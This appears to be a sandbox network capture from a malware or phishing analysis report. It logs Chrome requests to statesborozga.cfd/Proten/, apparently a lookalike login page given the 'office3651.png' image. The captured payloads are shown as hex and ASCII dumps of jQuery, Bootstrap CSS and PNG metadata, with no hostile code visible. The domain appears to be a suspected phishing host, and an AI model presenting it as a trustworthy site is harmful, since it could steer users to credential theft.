2024-04-17 22:28:01 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-04-17 22:28:01 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	104.18.10.207	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:01 UTC	607	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://statesborozga.cfd sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://statesborozga.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:01 UTC	953	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:01 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 03/18/2024 12:15:40 CDN-EdgeStorageId: 718 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: e13bab6607434b5584468fc0331f6973 CDN-Cache: HIT CF-Cache-Status: HIT Age: 14796 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 875fd885ca197bd0-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:01 UTC	416	IN	Data Raw: 37 62 66 37 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7bf7/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 61 79 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 Data Ascii: ay-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:12
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f Data Ascii: e;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{fo
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 Data Ascii: dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,ht
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d Data Ascii: ,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 37 64 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c Data Ascii: 7d}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-col
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 63 6f 6c 2d 6c 67 2d 39 2c 2e 63 6f 6c 2d 6c 67 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d Data Ascii: col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 Data Ascii: 667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: 2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-le
2024-04-17 22:28:01 UTC	1369	IN	Data Raw: 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d Data Ascii: :0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:01 UTC	614	OUT	GET /Proten/images/office3651.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	659	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: image/png Content-Length: 18025 Connection: close Last-Modified: Tue, 21 Jan 2020 14:30:14 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sR6y%2FCH2NAuhGT1zgD9DdriwJk1m7kpnPtKvchwiFVPu%2BeEJStH6PTkRNvq1Bl%2BatUldXY3sxbyJlJtU923nbtZYU2ENWZSOs3At8dBkW%2BU2I7SAc1Cv73k%2FU1ZctzFXDsooag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd888af4eb057-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	710	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bb 00 00 00 bc 08 06 00 00 00 20 95 df d2 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3c 65 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDR pHYs<eiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 2e 30 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 65 78 69 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 65 78 69 66 2f 31 2e 30 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 32 30 32 30 2d 30 31 2d 31 38 54 32 31 3a 34 39 3a 33 38 2b 30 35 3a 30 30 3c 2f 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3e 32 30 32 30 2d 30 31 2d 32 31 54 31 34 3a 33 30 3a 31 34 2b 30 Data Ascii: .0/" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool> <xmp:CreateDate>2020-01-18T21:49:38+05:00</xmp:CreateDate> <xmp:MetadataDate>2020-01-21T14:30:14+0
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 2f 3c 2f 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 72 64 66 3a 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 64 66 3a 6c 69 20 72 64 66 3a 70 61 72 73 65 54 79 70 65 3d 22 52 65 73 6f 75 72 63 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 61 63 74 69 6f 6e 3e 73 61 76 65 64 3c 2f 73 74 45 76 Data Ascii: <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent> <stEvt:changed>/</stEvt:changed> </rdf:li> <rdf:li rdf:parseType="Resource"> <stEvt:action>saved</stEv
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 6d 70 6d 65 74 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: mpmeta>
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a Data Ascii:
